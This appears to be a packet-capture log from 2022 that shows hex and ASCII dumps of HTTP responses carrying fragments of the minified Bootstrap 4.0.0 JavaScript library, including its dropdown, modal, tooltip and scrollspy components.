7b 69 66 28 21 65 7c 7c 33 21 3d 3d 65 2e 77 68 69 63 68 26 26 28 22 6b 65 79 75 70 22 21 3d 3d 65 2e 74 79 70 65 7c 
7c 39 3d 3d 3d 65 2e 77 68 69 63 68 29 29 66 6f 72 28 76 61 72 20 6e 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 45 
29 29 2c 73 3d 30 3b 73 3c 6e 2e 6c 65 6e 67 74 68 3b 73 2b 2b 29 7b 76 
Data Ascii: l),t(this).data(i,n)),"string"==typeof e){if("undefined"==typeof n[e])throw new TypeError('No method named "
'+e+'"');n[e]()}})},a._clearMenus=function(e){if(!e||3!==e.which&&("keyup"!==e.type||9===e.which))for(var n=t.makeArray(
t(E)),s=0;s<n.length;s++){v
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2022-07-01 17:36:50 UTC 270 IN Data Raw: 3d 3d 3d 65 2e 77 68 69 63 68 26 26 72 3c 73 2e 6c 65 6e 67 74 68 2d 31 26 26 72 2b 2b 2c 72 3c 30 26 26 
28 72 3d 30 29 2c 73 5b 72 5d 2e 66 6f 63 75 73 28 29 7d 7d 65 6c 73 65 7b 69 66 28 32 37 3d 3d 3d 65 2e 77 68 69 63 
68 29 7b 76 61 72 20 6f 3d 74 28 6e 29 2e 66 69 6e 64 28 45 29 5b 30 5d 3b 74 28 6f 29 2e 74 72 69 67 67 65 72 28 22 6
6 6f 63 75 73 22 29 7d 74 28 74 68 69 73 29 2e 74 72 69 67 67 65 72 28 22 63 6c 69 63 6b 22 29 7d 7d 7d 2c 73 28 61 2c 
6e 75 6c 6c 2c 5b 7b 6b 65 79 3a 22 56 45 52 53 49 4f 4e 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 
75 72 6e 22 34 2e 30 2e 30 22 7d 7d 2c 7b 6b 65 79 3a 22 44 65 66 61 75 6c 74 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 
6e 28 29 7b 72 65 74 75 72 6e 20 4f 7d 7d 2c 7b 6b 65 79 3a 22 44 65 66 
Data Ascii: ===e.which&&r<s.length-1&&r++,r<0&&(r=0),s[r].focus()}}else{if(27===e.which){var o=t(n).find(E)[0];t(o).trig
ger("focus")}t(this).trigger("click")}}},s(a,null,[{key:"VERSION",get:function(){return"4.0.0"}},{key:"Default",get:function(){ret
urn O}},{key:"Def

2022-07-01 17:36:50 UTC 272 IN Data Raw: 67 67 6c 65 3d 22 6d 6f 64 61 6c 22 5d 27 2c 44 41 54 41 5f 44 49 53 4d 49 53 53 3a 27 5b 64 61 74 61 2d 64 
69 73 6d 69 73 73 3d 22 6d 6f 64 61 6c 22 5d 27 2c 46 49 58 45 44 5f 43 4f 4e 54 45 4e 54 3a 22 2e 66 69 78 65 64 2d 74 
6f 70 2c 20 2e 66 69 78 65 64 2d 62 6f 74 74 6f 6d 2c 20 2e 69 73 2d 66 69 78 65 64 2c 20 2e 73 74 69 63 6b 79 2d 74 6f 
70 22 2c 53 54 49 43 4b 59 5f 43 4f 4e 54 45 4e 54 3a 22 2e 73 74 69 63 6b 79 2d 74 6f 70 22 2c 4e 41 56 42 41 52 5f 54 
4f 47 47 4c 45 52 3a 22 2e 6e 61 76 62 61 72 2d 74 6f 67 67 6c 65 72 22 7d 2c 70 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 
66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 6e 29 7b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 3d 74 68 69 73 2e 5f 67 65 74 43 6f 
6e 66 69 67 28 6e 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 
Data Ascii: ggle="modal"]',DATA_DISMISS:'[data-dismiss="modal"]',FIXED_CONTENT:".fixed-top, .fixed-bottom, .is-fixed, 
.sticky-top",STICKY_CONTENT:".sticky-top",NAVBAR_TOGGLER:".navbar-toggler"},p=function(){function o(e,n){this._c
onfig=this._getConfig(n),this._elemen

2022-07-01 17:36:50 UTC 273 IN Data Raw: 3b 69 66 28 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 69 29 2c 74 68 69 73 
2e 5f 69 73 53 68 6f 77 6e 26 26 21 69 2e 69 73 44 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 28 29 29 7b 74 68 69 
73 2e 5f 69 73 53 68 6f 77 6e 3d 21 31 3b 76 61 72 20 73 3d 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 
45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3b 73 26 26 
28 74 68 69 73 2e 5f 69 73 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 3d 21 30 29 2c 74 68 69 73 2e 5f 73 65 74 45 73 63 6
1 70 65 45 76 65 6e 74 28 29 2c 74 68 69 73 2e 5f 73 65 74 52 65 73 69 7a 65 45 76 65 6e 74 28 29 2c 74 28 64 6f 63 75 
6d 65 6e 74 29 2e 6f 66 66 28 68 2e 46 4f 43 55 53 49 4e 29 2c 74 
Data Ascii: ;if(t(this._element).trigger(i),this._isShown&&!i.isDefaultPrevented()){this._isShown=!1;var s=P.supportsTra
nsitionEnd()&&t(this._element).hasClass(d);s&&(this._isTransitioning=!0),this._setEscapeEvent(),this._setResizeEvent(),t
(document).off(h.FOCUSIN),t

2022-07-01 17:36:50 UTC 274 IN Data Raw: 28 29 7b 6e 2e 5f 63 6f 6e 66 69 67 2e 66 6f 63 75 73 26 26 6e 2e 5f 65 6c 65 6d 65 6e 74 2e 66 6f 63 75 73 
28 29 2c 6e 2e 5f 69 73 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 3d 21 31 2c 74 28 6e 2e 5f 65 6c 65 6d 65 6e 74 29 2e 74 
72 69 67 67 65 72 28 73 29 7d 3b 69 3f 74 28 74 68 69 73 2e 5f 64 69 61 6c 6f 67 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 
49 54 49 4f 4e 5f 45 4e 44 2c 72 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 33 30 30 29 3a 72 
28 29 7d 2c 70 2e 5f 65 6e 66 6f 72 63 65 46 6f 63 75 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 
73 3b 74 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 66 66 28 68 2e 46 4f 43 55 53 49 4e 29 2e 6f 6e 28 68 2e 46 4f 43 55 53 49 
4e 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 64 6f 63 75 6d 
Data Ascii: (){n._config.focus&&n._element.focus(),n._isTransitioning=!1,t(n._element).trigger(s)};i?t(this._dialog).one
(P.TRANSITION_END,r).emulateTransitionEnd(300):r()},p._enforceFocus=function(){var e=this;t(document).off(h.FO
CUSIN).on(h.FOCUSIN,function(n){docum

2022-07-01 17:36:50 UTC 276 IN Data Raw: 6b 64 72 6f 70 29 2e 61 70 70 65 6e 64 54 6f 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 2c 74 28 74 68 69 
73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 68 2e 43 4c 49 43 4b 5f 44 49 53 4d 49 53 53 2c 66 75 6e 63 74 69 6f 6e 28 
74 29 7b 6e 2e 5f 69 67 6e 6f 72 65 42 61 63 6b 64 72 6f 70 43 6c 69 63 6b 3f 6e 2e 5f 69 67 6e 6f 72 65 42 61 63 6b 64 
72 6f 70 43 6c 69 63 6b 3d 21 31 3a 74 2e 74 61 72 67 65 74 3d 3d 3d 74 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 26 
26 28 22 73 74 61 74 69 63 22 3d 3d 3d 6e 2e 5f 63 6f 6e 66 69 67 2e 62 61 63 6b 64 72 6f 70 3f 6e 2e 5f 65 6c 65 6d 65 
6e 74 2e 66 6f 63 75 73 28 29 3a 6e 2e 68 69 64 65 28 29 29 7d 29 2c 73 26 26 50 2e 72 65 66 6c 6f 77 28 74 68 69 73 
2e 5f 62 61 63 6b 64 72 6f 70 29 2c 74 28 74 68 69 73 2e 5f 62 
Data Ascii: kdrop).appendTo(document.body),t(this._element).on(h.CLICK_DISMISS,function(t){n._ignoreBackdropClick?
n._ignoreBackdropClick=!1:t.target===t.currentTarget&&("static"===n._config.backdrop?n._element.focus():n.hide())}),
s&&P.reflow(this._backdrop),t(this._b

2022-07-01 17:36:50 UTC 277 IN Data Raw: 22 70 61 64 64 69 6e 67 2d 72 69 67 68 74 22 2c 73 29 2e 63 73 73 28 22 70 61 64 64 69 6e 67 2d 72 69 67 
68 74 22 2c 70 61 72 73 65 46 6c 6f 61 74 28 72 29 2b 65 2e 5f 73 63 72 6f 6c 6c 62 61 72 57 69 64 74 68 2b 22 70 78 22 
29 7d 29 2c 74 28 67 2e 53 54 49 43 4b 59 5f 43 4f 4e 54 45 4e 54 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6e 2c 
69 29 7b 76 61 72 20 73 3d 74 28 69 29 5b 30 5d 2e 73 74 79 6c 65 2e 6d 61 72 67 69 6e 52 69 67 68 74 2c 72 3d 74 28 
69 29 2e 63 73 73 28 22 6d 61 72 67 69 6e 2d 72 69 67 68 74 22 29 3b 74 28 69 29 2e 64 61 74 61 28 22 6d 61 72 67 69 
6e 2d 72 69 67 68 74 22 2c 73 29 2e 63 73 73 28 22 6d 61 72 67 69 6e 2d 72 69 67 68 74 22 2c 70 61 72 73 65 46 6c 6f 
61 74 28 72 29 2d 65 2e 5f 73 63 72 6f 6c 6c 62 61 72 57 69 64 74 68 
Data Ascii: "padding-right",s).css("padding-right",parseFloat(r)+e._scrollbarWidth+"px")}),t(g.STICKY_CONTENT)
.each(function(n,i){var s=t(i)[0].style.marginRight,r=t(i).css("margin-right");t(i).data("margin-right",s).css("margin-right",pars
eFloat(r)-e._scrollbarWidth

2022-07-01 17:36:50 UTC 278 IN Data Raw: 29 2e 64 61 74 61 28 6e 29 2c 61 3d 72 28 7b 7d 2c 6f 2e 44 65 66 61 75 6c 74 2c 74 28 74 68 69 73 29 2e 64 
61 74 61 28 29 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 65 29 3b 69 66 28 73 7c 7c 28 73 3d 6e 
65 77 20 6f 28 74 68 69 73 2c 61 29 2c 74 28 74 68 69 73 29 2e 64 61 74 61 28 6e 2c 73 29 29 2c 22 73 74 72 69 6e 67 
22 3d 3d 74 79 70 65 6f 66 20 65 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 73 5b 65 5
d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 
27 2b 65 2b 27 22 27 29 3b 73 5b 65 5d 28 69 29 7d 65 6c 73 65 20 61 2e 73 68 6f 77 26 26 73 2e 73 68 6f 77 28 69 29 
7d 29 7d 2c 73 28 6f 2c 6e 75 6c 6c 2c 5b 7b 6b 65 79 3a 22 56 45 52 
Data Ascii: ).data(n),a=r({},o.Default,t(this).data(),"object"==typeof e&&e);if(s||(s=new o(this,a),t(this).data(n,s)),"string"==t
ypeof e){if("undefined"==typeof s[e])throw new TypeError('No method named "'+e+'"');s[e](i)}else a.show&&s.show(i)})},s(
o,null,[{key:"VER

2022-07-01 17:36:50 UTC 280 IN Data Raw: 75 3d 7b 61 6e 69 6d 61 74 69 6f 6e 3a 21 30 2c 74 65 6d 70 6c 61 74 65 3a 27 3c 64 69 76 20 63 6c 61 73 73 
3d 22 74 6f 6f 6c 74 69 70 22 20 72 6f 6c 65 3d 22 74 6f 6f 6c 74 69 70 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 72 
72 6f 77 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6f 6f 6c 74 69 70 2d 69 6e 6e 65 72 22 3e 3c 2f 
64 69 76 3e 3c 2f 64 69 76 3e 27 2c 74 72 69 67 67 65 72 3a 22 68 6f 76 65 72 20 66 6f 63 75 73 22 2c 74 69 74 6c 65 3a 
22 22 2c 64 65 6c 61 79 3a 30 2c 68 74 6d 6c 3a 21 31 2c 73 65 6c 65 63 74 6f 72 3a 21 31 2c 70 6c 61 63 65 6d 65 6e 
74 3a 22 74 6f 70 22 2c 6f 66 66 73 65 74 3a 30 2c 63 6f 6e 74 61 69 6e 65 72 3a 21 31 2c 66 61 6c 6c 62 61 63 6b 50 6c 
61 63 65 6d 65 6e 74 3a 22 66 6c 69 70 22 2c 62 6f 75 6e 64 
Data Ascii: u={animation:!0,template:'<div class="tooltip" role="tooltip"><div class="arrow"></div><div class="tooltip-i
nner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!1,selector:!1,placement:"top",offset:0,container:!1,fal
lbackPlacement:"flip",bound
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2022-07-01 17:36:50 UTC 281 IN Data Raw: 6c 2c 69 29 7d 65 6c 73 65 7b 69 66 28 74 28 74 68 69 73 2e 67 65 74 54 69 70 45 6c 65 6d 65 6e 74 28 29 
29 2e 68 61 73 43 6c 61 73 73 28 70 29 29 72 65 74 75 72 6e 20 76 6f 69 64 20 74 68 69 73 2e 5f 6c 65 61 76 65 28 6e 
75 6c 6c 2c 74 68 69 73 29 3b 74 68 69 73 2e 5f 65 6e 74 65 72 28 6e 75 6c 6c 2c 74 68 69 73 29 7d 7d 2c 49 2e 64 69 7
3 70 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 5f 74 69 6d 65 6
f 75 74 29 2c 74 2e 72 65 6d 6f 76 65 44 61 74 61 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2c 74 68 69 73 2e 63 6f 6e 73 
74 72 75 63 74 6f 72 2e 44 41 54 41 5f 4b 45 59 29 2c 74 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 29 2e 6f 66 66 28 74 68 
69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 45 56 45 4e 54 5f 4b 
Data Ascii: l,i)}else{if(t(this.getTipElement()).hasClass(p))return void this._leave(null,this);this._enter(null,this)}},I.dispose
=function(){clearTimeout(this._timeout),t.removeData(this.element,this.constructor.DATA_KEY),t(this.element).off(this.co
nstructor.EVENT_K

2022-07-01 17:36:50 UTC 282 IN Data Raw: 63 6f 6e 74 61 69 6e 73 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 
64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 74 68 69 73 2e 74 69 70 29 7c 7c 74 28 72 29 2e 61 70 70 65 6e 64 54 
6f 28 63 29 2c 74 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 74 68 69 73 2e 63 6f 6e 73 74 
72 75 63 74 6f 72 2e 45 76 65 6e 74 2e 49 4e 53 45 52 54 45 44 29 2c 74 68 69 73 2e 5f 70 6f 70 70 65 72 3d 6e 65 77 20 
6e 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2c 72 2c 7b 70 6c 61 63 65 6d 65 6e 74 3a 68 2c 6d 6f 64 69 66 69 65 72 73 3
a 7b 6f 66 66 73 65 74 3a 7b 6f 66 66 73 65 74 3a 74 68 69 73 2e 63 6f 6e 66 69 67 2e 6f 66 66 73 65 74 7d 2c 66 6c 69 7
0 3a 7b 62 65 68 61 76 69 6f 72 3a 74 68 69 73 2e 63 6f 6e 66 69 
Data Ascii: contains(this.element.ownerDocument.documentElement,this.tip)||t(r).appendTo(c),t(this.element).trigger(this
.constructor.Event.INSERTED),this._popper=new n(this.element,r,{placement:h,modifiers:{offset:{offset:this.config.offset
},flip:{behavior:this.confi

2022-07-01 17:36:50 UTC 284 IN Data Raw: 69 6c 64 72 65 6e 28 29 2e 6f 66 66 28 22 6d 6f 75 73 65 6f 76 65 72 22 2c 6e 75 6c 6c 2c 74 2e 6e 6f 6f 70 29 
2c 74 68 69 73 2e 5f 61 63 74 69 76 65 54 72 69 67 67 65 72 5b 79 5d 3d 21 31 2c 74 68 69 73 2e 5f 61 63 74 69 76 65 
54 72 69 67 67 65 72 5b 54 5d 3d 21 31 2c 74 68 69 73 2e 5f 61 63 74 69 76 65 54 72 69 67 67 65 72 5b 45 5d 3d 21 31 
2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 74 69 70 29 
2e 68 61 73 43 6c 61 73 73 28 67 29 3f 74 28 69 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 72 
29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 72 28 29 2c 74 68 69 73 2e 5f 68 6f 
76 65 72 53 74 61 74 65 3d 22 22 29 7d 2c 49 2e 75 70 64 61 74 
Data Ascii: ildren().off("mouseover",null,t.noop),this._activeTrigger[y]=!1,this._activeTrigger[T]=!1,this._activeTrigge
r[E]=!1,P.supportsTransitionEnd()&&t(this.tip).hasClass(g)?t(i).one(P.TRANSITION_END,r).emulateTransitionEnd(1
50):r(),this._hoverState="")},I.updat

2022-07-01 17:36:50 UTC 285 IN Data Raw: 6e 73 74 72 75 63 74 6f 72 2e 45 76 65 6e 74 2e 46 4f 43 55 53 49 4e 2c 73 3d 6e 3d 3d 3d 45 3f 65 2e 63 6f 
6e 73 74 72 75 63 74 6f 72 2e 45 76 65 6e 74 2e 4d 4f 55 53 45 4c 45 41 56 45 3a 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 
2e 45 76 65 6e 74 2e 46 4f 43 55 53 4f 55 54 3b 74 28 65 2e 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 69 2c 65 2e 63 6f 6e 66 
69 67 2e 73 65 6c 65 63 74 6f 72 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 65 6e 74 65 72 28 
74 29 7d 29 2e 6f 6e 28 73 2c 65 2e 63 6f 6e 66 69 67 2e 73 65 6c 65 63 74 6f 72 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 
72 65 74 75 72 6e 20 65 2e 5f 6c 65 61 76 65 28 74 29 7d 29 7d 74 28 65 2e 65 6c 65 6d 65 6e 74 29 2e 63 6c 6f 73 65 
73 74 28 22 2e 6d 6f 64 61 6c 22 29 2e 6f 6e 28 22 68 69 64 
Data Ascii: nstructor.Event.FOCUSIN,s=n===E?e.constructor.Event.MOUSELEAVE:e.constructor.Event.FOCUS
OUT;t(e.element).on(i,e.config.selector,function(t){return e._enter(t)}).on(s,e.config.selector,function(t){return e._le
ave(t)})}t(e.element).closest(".modal").on("hid

2022-07-01 17:36:50 UTC 286 IN Data Raw: 32 64 62 31 0d 0a 6c 65 67 61 74 65 43 6f 6e 66 69 67 28 29 29 2c 74 28 65 2e 63 75 72 72 65 6e 74 54 61 72 
67 65 74 29 2e 64 61 74 61 28 69 2c 6e 29 29 2c 65 26 26 28 6e 2e 5f 61 63 74 69 76 65 54 72 69 67 67 65 72 5b 22 66 
6f 63 75 73 6f 75 74 22 3d 3d 3d 65 2e 74 79 70 65 3f 54 3a 45 5d 3d 21 31 29 2c 6e 2e 5f 69 73 57 69 74 68 41 63 74 69 
76 65 54 72 69 67 67 65 72 28 29 7c 7c 28 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 6e 2e 5f 74 69 6d 65 6f 75 74 29 2c 6e 
2e 5f 68 6f 76 65 72 53 74 61 74 65 3d 64 2c 6e 2e 63 6f 6e 66 69 67 2e 64 65 6c 61 79 26 26 6e 2e 63 6f 6e 66 69 67 2e 
64 65 6c 61 79 2e 68 69 64 65 3f 6e 2e 5f 74 69 6d 65 6f 75 74 3d 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 
6e 28 29 7b 6e 2e 5f 68 6f 76 65 72 53 74 61 74 65 3d 3d 3d 
Data Ascii: 2db1legateConfig()),t(e.currentTarget).data(i,n)),e&&(n._activeTrigger["focusout"===e.type?T:E]=!1),n._isWit
hActiveTrigger()||(clearTimeout(n._timeout),n._hoverState=d,n.config.delay&&n.config.delay.hide?n._timeout=set
Timeout(function(){n._hoverState===

2022-07-01 17:36:50 UTC 288 IN Data Raw: 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 
68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 74 28 74 68 69 73 29 2e 64 61 74 61 28 
69 29 2c 73 3d 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 65 3b 69 66 28 28 6e 7c 7c 21 2f 64 69 73 70 
6f 73 65 7c 68 69 64 65 2f 2e 74 65 73 74 28 65 29 29 26 26 28 6e 7c 7c 28 6e 3d 6e 65 77 20 61 28 74 68 69 73 2c 73 2
9 2c 74 28 74 68 69 73 29 2e 64 61 74 61 28 69 2c 6e 29 29 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 29 
29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 6e 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 
20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 
Data Ascii: QueryInterface=function(e){return this.each(function(){var n=t(this).data(i),s="object"==typeof e&&e;if((n||
!/dispose|hide/.test(e))&&(n||(n=new a(this,s),t(this).data(i,n)),"string"==typeof e)){if("undefined"==typeof n[e])throw new 
TypeError('No method n

2022-07-01 17:36:50 UTC 289 IN Data Raw: 3b 66 75 6e 63 74 69 6f 6e 20 70 28 29 7b 72 65 74 75 72 6e 20 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 
67 75 6d 65 6e 74 73 29 7c 7c 74 68 69 73 7d 67 3d 72 2c 28 6f 3d 70 29 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 
74 2e 63 72 65 61 74 65 28 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 
75 63 74 6f 72 3d 6f 2c 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 67 3b 76 61 72 20 6d 3d 70 2e 70 72 6f 74 6f 74 79 70 65 3b 72 
65 74 75 72 6e 20 6d 2e 69 73 57 69 74 68 43 6f 6e 74 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 
20 74 68 69 73 2e 67 65 74 54 69 74 6c 65 28 29 7c 7c 74 68 69 73 2e 5f 67 65 74 43 6f 6e 74 65 6e 74 28 29 7d 2c 6d 
2e 61 64 64 41 74 74 61 63 68 6d 65 6e 74 43 6c 61 73 73 3d 
Data Ascii: ;function p(){return r.apply(this,arguments)||this}g=r,(o=p).prototype=Object.create(g.prototype),o.prototyp
e.constructor=o,o.__proto__=g;var m=p.prototype;return m.isWithContent=function(){return this.getTitle()||this._getConte
nt()},m.addAttachmentClass=

2022-07-01 17:36:50 UTC 290 IN Data Raw: 65 74 75 72 6e 20 5f 7d 7d 2c 7b 6b 65 79 3a 22 45 56 45 4e 54 5f 4b 45 59 22 2c 67 65 74 3a 66 75 6e 63 74 
69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 7d 7d 2c 7b 6b 65 79 3a 22 44 65 66 61 75 6c 74 54 79 70 65 22 2c 67 65 74 
3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 68 7d 7d 5d 29 2c 70 7d 28 55 29 3b 72 65 74 75 72 6e 20 74 
2e 66 6e 5b 65 5d 3d 67 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 7
2 75 63 74 6f 72 3d 67 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 6
5 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 67 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 67 7d 28 65 
29 2c 4b 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 
Data Ascii: eturn _}},{key:"EVENT_KEY",get:function(){return i}},{key:"DefaultType",get:function(){return h}}]),p}(U);return 
t.fn[e]=g._jQueryInterface,t.fn[e].Constructor=g,t.fn[e].noConflict=function(){return t.fn[e]=o,g._jQueryInterface},g}(e),K=f
unction(t){var e=
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2022-07-01 17:36:50 UTC 292 IN Data Raw: 69 67 2e 6d 65 74 68 6f 64 3f 6e 3a 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6d 65 74 68 6f 64 2c 73 3d 69 3d 
3d 3d 5f 3f 74 68 69 73 2e 5f 67 65 74 53 63 72 6f 6c 6c 54 6f 70 28 29 3a 30 3b 74 68 69 73 2e 5f 6f 66 66 73 65 74 73 
3d 5b 5d 2c 74 68 69 73 2e 5f 74 61 72 67 65 74 73 3d 5b 5d 2c 74 68 69 73 2e 5f 73 63 72 6f 6c 6c 48 65 69 67 68 74 3d 
74 68 69 73 2e 5f 67 65 74 53 63 72 6f 6c 6c 48 65 69 67 68 74 28 29 2c 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 74 
68 69 73 2e 5f 73 65 6c 65 63 74 6f 72 29 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 2c 72 3d 
50 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 65 29 3b 69 66 28 72 26 26 28 6e 3d 74 28 
72 29 5b 30 5d 29 2c 6e 29 7b 76 61 72 20 6f 3d 6e 2e 67 65 74 
Data Ascii: ig.method?n:this._config.method,s=i===_?this._getScrollTop():0;this._offsets=[],this._targets=[],this._scrol
lHeight=this._getScrollHeight(),t.makeArray(t(this._selector)).map(function(e){var n,r=P.getSelectorFromElement(e);if(r&&
(n=t(r)[0]),n){var o=n.get

2022-07-01 17:36:50 UTC 293 IN Data Raw: 2b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6f 66 66 73 65 74 2c 65 3d 74 68 69 73 2e 5f 67 65 74 53 63 72 6f 
6c 6c 48 65 69 67 68 74 28 29 2c 6e 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6f 66 66 73 65 74 2b 65 2d 74 68 69 73 2e 
5f 67 65 74 4f 66 66 73 65 74 48 65 69 67 68 74 28 29 3b 69 66 28 74 68 69 73 2e 5f 73 63 72 6f 6c 6c 48 65 69 67 68 74 
21 3d 3d 65 26 26 74 68 69 73 2e 72 65 66 72 65 73 68 28 29 2c 74 3e 3d 6e 29 7b 76 61 72 20 69 3d 74 68 69 73 2e 5f 
74 61 72 67 65 74 73 5b 74 68 69 73 2e 5f 74 61 72 67 65 74 73 2e 6c 65 6e 67 74 68 2d 31 5d 3b 74 68 69 73 2e 5f 61 
63 74 69 76 65 54 61 72 67 65 74 21 3d 3d 69 26 26 74 68 69 73 2e 5f 61 63 74 69 76 61 74 65 28 69 29 7d 65 6c 73 65 
7b 69 66 28 74 68 69 73 2e 5f 61 63 74 69 76 65 54 61 72 67 65 74 
Data Ascii: +this._config.offset,e=this._getScrollHeight(),n=this._config.offset+e-this._getOffsetHeight();if(this._scro
llHeight!==e&&this.refresh(),t>=n){var i=this._targets[this._targets.length-1];this._activeTarget!==i&&this._activate(i)
}else{if(this._activeTarget

2022-07-01 17:36:50 UTC 294 IN Data Raw: 29 7d 2c 73 28 6f 2c 6e 75 6c 6c 2c 5b 7b 6b 65 79 3a 22 56 45 52 53 49 4f 4e 22 2c 67 65 74 3a 66 75 6e 63 
74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 34 2e 30 2e 30 22 7d 7d 2c 7b 6b 65 79 3a 22 44 65 66 61 75 6c 74 22 2c 67 
65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 7d 5d 29 2c 6f 7d 28 29 3b 72 65 74 75 72 6e 20 
74 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 68 2e 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 
66 6f 72 28 76 61 72 20 65 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 66 2e 44 41 54 41 5f 53 50 59 29 29 2c 6e 3d 6
5 2e 6c 65 6e 67 74 68 3b 6e 2d 2d 3b 29 7b 76 61 72 20 69 3d 74 28 65 5b 6e 5d 29 3b 67 2e 5f 6a 51 75 65 72 79 49 
6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 69 2c 69 2e 64 61 74 61 28 
Data Ascii: )},s(o,null,[{key:"VERSION",get:function(){return"4.0.0"}},{key:"Default",get:function(){return a}}]),o}();return t(wi
ndow).on(h.LOAD_DATA_API,function(){for(var e=t.makeArray(t(f.DATA_SPY)),n=e.length;n--;){var i=t(e[n]);g._jQu
eryInterface.call(i,i.data(
